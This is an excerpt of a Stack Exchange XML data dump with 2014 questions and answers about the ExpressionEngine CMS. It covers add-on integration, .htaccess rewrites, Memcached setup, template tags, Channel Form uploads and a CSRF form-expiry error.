  <row Id="26387" PostTypeId="1" CreationDate="2014-10-23T12:50:50.050" Score="1" ViewCount="237" Body="&lt;p&gt;Since the EllisLab Discussion Forum addon is not really actively maintained, and basically one needs to buy the Scaffold theme in addition, to make it a bit 2014-ish ($140 total costs), it seems like not the way to future proof a new website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if someone else out there has successfully integrated &lt;em&gt;any&lt;/em&gt; other forum software successfully? Vanilla, vBulletin, phpBB, basically anything will do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I need my members to discuss things, without adding another layer of registration hassles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively: if anyone still has a good experience after-all with the current Discussion Forum module anyway, I'd be happy to hear that too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips or pointers are very welcome!&lt;/p&gt;&#xA;" OwnerUserId="3689" LastEditorUserId="3689" LastEditDate="2014-10-23T12:59:40.500" LastActivityDate="2014-10-26T15:37:01.217" Title="Third party Forum Integration" Tags="|forum|discussion|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26388" PostTypeId="2" ParentId="26376" CreationDate="2014-10-23T12:57:21.507" Score="0" Body="&lt;p&gt;Here's the .htaccess line you're looking for:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;RewriteCond %{QUERY_STRING} !^(ACT=.*)$ [NC]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is how my typical .htaccess looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;# add the www&#xA;RewriteCond %{HTTP_HOST} ^alchemyviral.com&#xA;RewriteRule ^(.*)$ http://www.alchemyviral.com/$1 [R=301,L]&#xA;&#xA;# Remove the trailing slash to paths without an extension&#xA;RewriteCond %{REQUEST_METHOD} !=POST&#xA;RewriteCond %{REQUEST_URI} /$&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.+)/$ $1 [L,R=301]&#xA;&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond %{QUERY_STRING} !^(ACT=.*)$ [NC]&#xA;RewriteCond %{REQUEST_URI} !(\.[a-zA-Z0-9]{1,5})$&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-10-23T12:57:21.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26389" PostTypeId="2" ParentId="26387" CreationDate="2014-10-23T13:02:53.073" Score="1" Body="&lt;p&gt;I don't have any personal expirience with those add-ons, but there are bridges for &lt;a href=&quot;http://devot-ee.com/add-ons/ee-2-to-vanilla-forums-2-bridge&quot; rel=&quot;nofollow&quot;&gt;Vanilla&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/vbee&quot; rel=&quot;nofollow&quot;&gt;vBulletin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-10-23T13:02:53.073" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26390" PostTypeId="2" ParentId="26381" CreationDate="2014-10-23T13:47:31.887" Score="-1" Body="&lt;p&gt;Turns out the issue is with a custom built module. Once I disabled that extension everything works fine. NOw trying to fix an addon that has no documentation. Fun.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-10-23T13:47:31.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26391" PostTypeId="2" ParentId="17054" CreationDate="2014-10-23T15:18:35.550" Score="0" Body="&lt;p&gt;you can use something like &quot;{email}&quot; in the reply-to field&lt;/p&gt;&#xA;" OwnerUserId="2283" LastActivityDate="2014-10-23T15:18:35.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26392" PostTypeId="1" AcceptedAnswerId="26409" CreationDate="2014-10-23T15:23:08.237" Score="0" ViewCount="60" Body="&lt;p&gt;Is there a way to export the search log from Solspace Super Search's control panel to save as a file? I'd like to be able to save previous results before clearing the log.&lt;/p&gt;&#xA;" OwnerUserId="2283" LastActivityDate="2014-10-24T13:31:30.133" Title="Solspace Super Search - Export Search Log" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26394" PostTypeId="2" ParentId="21448" CreationDate="2014-10-23T15:53:41.670" Score="0" Body="&lt;p&gt;Could you not just use the start_on parameter and set the start date to 30 days prior to the current date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#start-on&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#start-on&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-10-23T15:53:41.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26395" PostTypeId="2" ParentId="26212" CreationDate="2014-10-23T16:25:20.700" Score="0" Body="&lt;p&gt;Are you talking about the &quot;New Topics&quot; / &quot;New Reply&quot; notifications? If so, just don't specify your email in &quot;Admin Notification Preferences&quot; when you &quot;Edit&quot; the forum in question in the CP. See screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rsVW6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-10-23T16:25:20.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26396" PostTypeId="2" ParentId="25403" CreationDate="2014-10-23T17:00:01.030" Score="0" Body="&lt;p&gt;So in the end, to solve this requirement of having a Quote Basket and a Buy Basket using a single installation of CartThrob, I got Barrett Newton to write a custom extension.&#xA;It seems to work really well so far.....  :-)&lt;/p&gt;&#xA;" OwnerUserId="3016" LastActivityDate="2014-10-23T17:00:01.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26397" PostTypeId="1" CreationDate="2014-10-23T17:21:11.390" Score="1" ViewCount="848" Body="&lt;p&gt;I am trying to get Memcached working on my EE (2.9.2) website. I have &lt;code&gt;memcached&lt;/code&gt; installed correctly (both Memcache and the PHP extension) and running as a daemon:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;% ps -ef|grep memcache&#xA;user   pid   1  0  16:45 ?   00:00:00 memcached -d -p 11211 -u memcached -m 64 -c 1024 -P /path/to/memcached.pid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have added the following code to my &lt;code&gt;config.php&lt;/code&gt; file as per the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#memcached&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['memcached'] = array(&#xA;    array(&#xA;        'host' =&amp;gt; 'XX.XXX.XX.XXX',&#xA;        'port' =&amp;gt; 11211,&#xA;        'weight' =&amp;gt; 2,&#xA;    ),&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I try to select &lt;code&gt;Memcached&lt;/code&gt; from the drop-down list of options under &lt;em&gt;CP Home &gt; Administration &gt; General Configuration&lt;/em&gt; I see the following (in red):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cannot connect to Memcached, using File driver instead&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot understand why this is happening and EE's logging of the problem is 100% non-existent (there is nothing in the Apache error log, EE Control Panel log). Any ideas? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2608" LastActivityDate="2014-11-03T21:07:55.063" Title="Enable Memcached in EE 2.9.2: problems" Tags="|ee2|config|cache|caching|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26398" PostTypeId="2" ParentId="22197" CreationDate="2014-10-23T17:58:41.247" Score="2" Body="&lt;p&gt;Adding to this, I had to put transcribe=“disable” inside of the Playa tag (not the ece loop) to get it to output. Credit goes to EE Harbor.&lt;/p&gt;&#xA;" OwnerUserId="3174" LastActivityDate="2014-10-23T17:58:41.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26401" PostTypeId="1" AcceptedAnswerId="26493" CreationDate="2014-10-24T07:07:00.463" Score="0" ViewCount="39" Body="&lt;p&gt;So our current setup has a channel with a playa field. This worked well so far BUT now we need to store specific values for each relationship (eg: The related field will need a catalogue number, specific price etc so each child relationship can have unique values as well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the top of my head this could be achieved by creating a new matrix/grid field in the same channel with all those unique columns (playa relationship field, catalogue number, price, etc). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions is, would that be the best solution for this issue? If so, I'm guessing that a MySQL query with the right format should do the job?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Alberto&lt;/p&gt;&#xA;" OwnerUserId="3722" LastActivityDate="2014-10-29T14:38:36.803" Title="Move playa field within a Matrix field" Tags="|matrix|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26403" PostTypeId="2" ParentId="26313" CreationDate="2014-10-24T08:19:50.660" Score="1" Body="&lt;p&gt;If I understand you correctly, the content of the &lt;code&gt;lv-seg1-taxonomy-node-id&lt;/code&gt; variable is that big &lt;code&gt;if&lt;/code&gt;-statement. Then you're using the LV as part of another conditional: the one in your first example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will not work because of &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/template_engine.html#rendering-stages&quot; rel=&quot;nofollow&quot;&gt;Parse Order&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your variable is set to parse early, which means the template will change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if node_id == {lv-seg1-taxonomy-node-id}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if node_id == {if segment_1 == 'youth'}41{if:elseif segment_1 == 'open'}42{if:elseif segment_1 == 'competition'}43{if:elseif segment_1 == 'theme'}44{if:elseif segment_1 == 'films'}45{if:elseif segment_1 == 'news'}46{if:else}{/if}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is an invalid conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Early parsed vars, like Snippets, &lt;strong&gt;will not evaluate before hitting the template&lt;/strong&gt;. Instead, the variable name is replaced by its contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to find a different way to set the class name.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-10-24T08:19:50.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26405" PostTypeId="2" ParentId="26344" CreationDate="2014-10-24T08:50:39.163" Score="0" Body="&lt;p&gt;Check the integrity of your installation. It is likely that some files in themes folder are missing or corrupt (the best thing is to re-upload the whole of CMS files, making sure to not overwrite configs of course)&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-10-24T08:50:39.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26406" PostTypeId="1" CreationDate="2014-10-24T10:36:33.143" Score="2" ViewCount="399" Body="&lt;p&gt;Can EE multiple relationship fields be displayed nested? I'm not able to get this working, and it's not clear from &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;the Relationships docs page&lt;/a&gt; if it's supposed to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have 3 channels -- bands, albums and songs -- and my relationship fields are top-down rather than bottom-up, ie, bands have a multiple relationship field of albums, and albums have a multiple relationship field of songs. I want to display a list of bands, and within each band its albums, and within each album its songs. In the following example, songs do not appear:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:channel:entries channel=&quot;bands&quot;}&#xA;    &amp;lt;li&amp;gt; &#xA;        {title}&#xA;        &amp;lt;ul&amp;gt;&#xA;            {bands_albums}&#xA;            &amp;lt;li&amp;gt;&#xA;                {bands_albums:title}&#xA;                &amp;lt;ul&amp;gt;&#xA;                    {bands_albums:albums_songs}&#xA;                    &amp;lt;li&amp;gt;&#xA;                        {bands_albums:albums_songs:title}&#xA;                    &amp;lt;li&amp;gt;&#xA;                    {/bands_albums:albums_songs}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            {/bands_albums}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can get a single song from each album to appear by removing the inner loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:channel:entries channel=&quot;bands&quot;}&#xA;    &amp;lt;li&amp;gt; &#xA;        {title}&#xA;        &amp;lt;ul&amp;gt;&#xA;            {bands_albums}&#xA;            &amp;lt;li&amp;gt;&#xA;                {bands_albums:title}&#xA;                &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        {bands_albums:albums_songs:title}&#xA;                    &amp;lt;li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            {/bands_albums}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I need all the songs.&lt;/p&gt;&#xA;" OwnerUserId="1312" LastEditorUserId="1312" LastEditDate="2014-10-24T10:43:27.107" LastActivityDate="2015-12-09T20:37:21.767" Title="Can EE multiple relationship fields be displayed nested?" Tags="|relationships|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26407" PostTypeId="1" AcceptedAnswerId="26448" CreationDate="2014-10-24T11:46:02.737" Score="1" ViewCount="79" Body="&lt;p&gt;I can’t seem to figure out how to do this correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m using Content Elements as a field and stashing those values as you would typically do in a Stash list. However, when I call that list the sequence of what is being outputted seems to match the sequence in my code and not in the published entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;h&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;  {h}&#xA;&#xA;   {heading}&#xA;             {stash:h_header}{value}{/stash:h_header}&#xA;         {/heading}&#xA;&#xA;   {wygwam}                     &#xA;       {stash:h_wygwam}{value}{/stash:h_wygwam}&#xA;   {/wygwam}&#xA;&#xA;   {assets}                      &#xA;       {files}&#xA;        {stash:h_assets}{url}{/stash:h_assets}&#xA;        {stash:h_assets_alt}{alt_text}{/stash:h_assets_alt}&#xA;       {/files}&#xA;   {/assets}&#xA;&#xA;  {/h}&#xA;{/exp:stash:set_list} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;about&quot;}&#xA; &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;small-12 columns&quot;&amp;gt;&#xA;   {exp:stash:get_list name=&quot;h&quot;}&#xA;    {count}&#xA;    {if h_header != &quot;&quot;}{h_header}{/if}&#xA;    {h_wygwam}&#xA;    {if h_assets != &quot;&quot;}&amp;lt;img src=&quot;{h_assets}&quot;alt=&quot;{h_assets_alt}&quot;&amp;gt;{/if}&#xA;   {/exp:stash:get_list}&#xA;  &amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on the above the {h_header} always gets listed first even though it might not actually be the first entry in the list. Hope this makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling I’m not doing this correctly in Stash and not in Content Elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="3484" LastActivityDate="2014-10-27T20:50:21.797" Title="Content Elements Ordering" Tags="|stash|content-elements|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26409" PostTypeId="2" ParentId="26392" CreationDate="2014-10-24T13:31:30.133" Score="1" Body="&lt;p&gt;I had to do this before and there doesn't seem to be a way from the interface.&#xA;I did it by going into phpmyadmin and then into the EE database.From here search for the   exp_super_search_terms.Once you find the table you can use the export function and export the search terms to CSV or what ever you want. &lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-10-24T13:31:30.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26410" PostTypeId="2" ParentId="26221" CreationDate="2014-10-24T13:50:11.913" Score="1" Body="&lt;p&gt;The only way to do it is through an addon from ckeditor .&#xA;The plugin you want is here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ckeditor.com/addon/liststyle&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ckeditor.com/addon/liststyle&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions from the pixel and tonic site on how to add a plugin to Wygwam&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/developers/ckeditor_plugins.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.pixelandtonic.com/wygwam/developers/ckeditor_plugins.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It not very clear so here are more detailed instructions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/22280/adding-ckeditor-plugins-to-wygwam/24001#24001&quot;&gt;Adding CKEditor Plugins to Wygwam&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Brian&lt;/p&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-10-24T13:50:11.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26411" PostTypeId="1" CreationDate="2014-10-24T14:14:16.963" Score="0" ViewCount="74" Body="&lt;p&gt;Im wondering if anyone can help me figure out if this is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have entries that have a Date Field Type and I want to hide entries that have expired passed the date set in the Date Field Type not the entry-date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3723" LastActivityDate="2015-01-27T17:00:35.717" Title="Excluding entries based on Date Field Type" Tags="|date|date-field-filter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26412" PostTypeId="2" ParentId="26411" CreationDate="2014-10-24T14:45:50.437" Score="1" Body="&lt;p&gt;can't you just use expire date field under the date tab? and show_expired=&quot;no&quot;&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2014-10-24T14:45:50.437" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26413" PostTypeId="1" CreationDate="2014-10-24T15:06:56.937" Score="0" ViewCount="153" Body="&lt;p&gt;I'm really struggling with EE.  I am trying to build an application that needs to build a complex form based on channel data and the user's location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current stuggle is this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a multi-page form, with lots of logic happening, depending on the choices the user makes, etc.  At the end, I need to store the information somewhere, ideally in an EE channel, but at this point I'm not tied to that.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, I could build this in straight php no problem, passing data from step A to the form in Step B, doing the logic, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that needs to be done via a module?  I see you can have forms post there and process data that way.  Not sure in the end if I can get it into a channel, but maybe in my own custom table.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is building a custom module the way to go? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Jim&lt;/p&gt;&#xA;" OwnerUserId="3703" LastActivityDate="2014-11-24T05:20:38.640" Title="doing Forms in EE" Tags="|forms|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26415" PostTypeId="2" ParentId="26344" CreationDate="2014-10-24T16:17:54.557" Score="1" Body="&lt;p&gt;turns out it was an issue related to the host: media temple offers different versions of PHP and the 'fastCGI' version can cause these issues. I switched to the 'stable' version and the issue disappeared. &lt;/p&gt;&#xA;" OwnerUserId="1962" LastActivityDate="2014-10-24T16:17:54.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26416" PostTypeId="1" CreationDate="2014-10-24T18:34:41.133" Score="0" ViewCount="69" Body="&lt;p&gt;I don't know how to get pagination to work, seems like it should be simple but I just don't know. I am new to this particular aspect of expression engine. Can anyone help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here was what I did put in but for the pagination it just renders the curly brace pagination code and the rest of the channel entry code renders correctly. &#xA;Thanks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;   channel=&quot;publications&quot; &#xA;   orderby=&quot;title&quot;&#xA;   sort=&quot;asc&quot;&#xA;   paginate=&quot;both&quot;&#xA;   Limit=&quot;15&quot; &#xA;   }&#xA;          &amp;lt;h3&amp;gt;{pub_year}&amp;lt;/h3&amp;gt;&#xA;          &amp;lt;h5&amp;gt; {title}&amp;lt;/h5&amp;gt; &#xA;       {paginate}&#xA;        &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;        {/paginate}             &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2014-10-24T18:50:24.227" LastActivityDate="2014-10-24T18:50:24.227" Title="How to use pagination?" Tags="|templates|pagination|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26417" PostTypeId="2" ParentId="26413" CreationDate="2014-10-24T19:20:49.553" Score="1" Body="&lt;p&gt;Use Channel Forms: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/index.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;easiest&lt;/em&gt; way to do multi-page forms is using javascript to just show / hide the next form section in the wizard when you click next / previous (and then submit on the final step).&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-10-24T19:20:49.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26418" PostTypeId="2" ParentId="26317" CreationDate="2014-10-24T19:32:04.667" Score="2" Body="&lt;p&gt;If you're using Structure mostly for navigation, Taxonomy can be of help: &lt;a href=&quot;http://devot-ee.com/add-ons/taxonomy&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/taxonomy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-10-24T19:32:04.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26419" PostTypeId="1" CreationDate="2014-10-24T22:42:41.370" Score="0" ViewCount="80" Body="&lt;p&gt;I have a channel form I am trying to get working. There is a file upload which looks like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;  &amp;lt;label for=&quot;story_image&quot;&amp;gt;Upload a picture&amp;lt;/label&amp;gt;&#xA;  &amp;lt;div id=&quot;story_image&quot; class=&quot;btn btn-gray-light btn-file&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;feedback&quot;&amp;gt;Choose a file: &amp;lt;/span&amp;gt;   &#xA;    &amp;lt;span class=&quot;glyphicon glyphicon-upload&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;form-control&quot; name=&quot;story_image&quot;&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;story_image_directory&quot; value=&quot;13&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; id=&quot;story_image_hidden_file&quot; name=&quot;story_image_hidden_file&quot; value=&quot;&quot;&amp;gt;&#xA;&#xA;  &amp;lt;p class=&quot;help-block&quot;&amp;gt;Image size should be no larger than 800px square and no larger than 2mb.&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when I check the entry I see the following. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{filedir_13}tumblr_n4z1wlApId1sljr6oo1_500.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can use the {field:story_image} and the upload will work correctly, but for some reason when I strip out all the extra markup it's broken. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2016-05-29T22:39:51.647" Title="Channel Forms Upload Image missing directory info" Tags="|safecracker|file-uploads|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26420" PostTypeId="1" CreationDate="2014-10-24T22:46:44.407" Score="0" ViewCount="28" Body="&lt;p&gt;I need to setup a EE1 but using a different port. It cant be 80 since th server is a asp server using regular port (80) for the main site, but it has PHP in a different port.&#xA;Is there any place where I can specify which port EE1 must use??&lt;/p&gt;&#xA;" OwnerUserId="3725" LastActivityDate="2014-10-24T22:46:44.407" Title="EE1 using a port different than 80. How can I make it?" Tags="|ee1|install|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26421" PostTypeId="2" ParentId="26419" CreationDate="2014-10-25T00:11:10.120" Score="0" Body="&lt;p&gt;From memory, I think you have to add square brackets after the file field like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;file&quot; name=&quot;my_field_name[]&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;Also the docs say to format the hidden file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;my_field_name_hidden_file&quot; value=&quot;{my_field_name}{file_name}{/my_field_name}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2014-10-28T07:05:42.620" LastActivityDate="2014-10-28T07:05:42.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26422" PostTypeId="1" CreationDate="2014-10-25T06:59:54.780" Score="1" ViewCount="932" Body="&lt;p&gt;The contact form on a site I am currently developing was displaying an error when trying to submit and says the &lt;em&gt;form has expired&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on feedback I found in various forums, the workaround I have found was to turn off CSRF protection through the config file using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['disable_csrf_protection'] = 'y'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This fixes the form, but creates another bug that prevents users from being able to log out, causing this error: &lt;em&gt;You are not authorized to perform this action.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a solution that will fix both problems?&lt;/p&gt;&#xA;" OwnerUserId="3727" LastEditorUserId="7800" LastEditDate="2017-03-13T14:30:11.630" LastActivityDate="2021-01-29T16:08:00.827" Title="CSRF Conflict Creating Form and Logout Errors" Tags="|error|logout|csrf|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
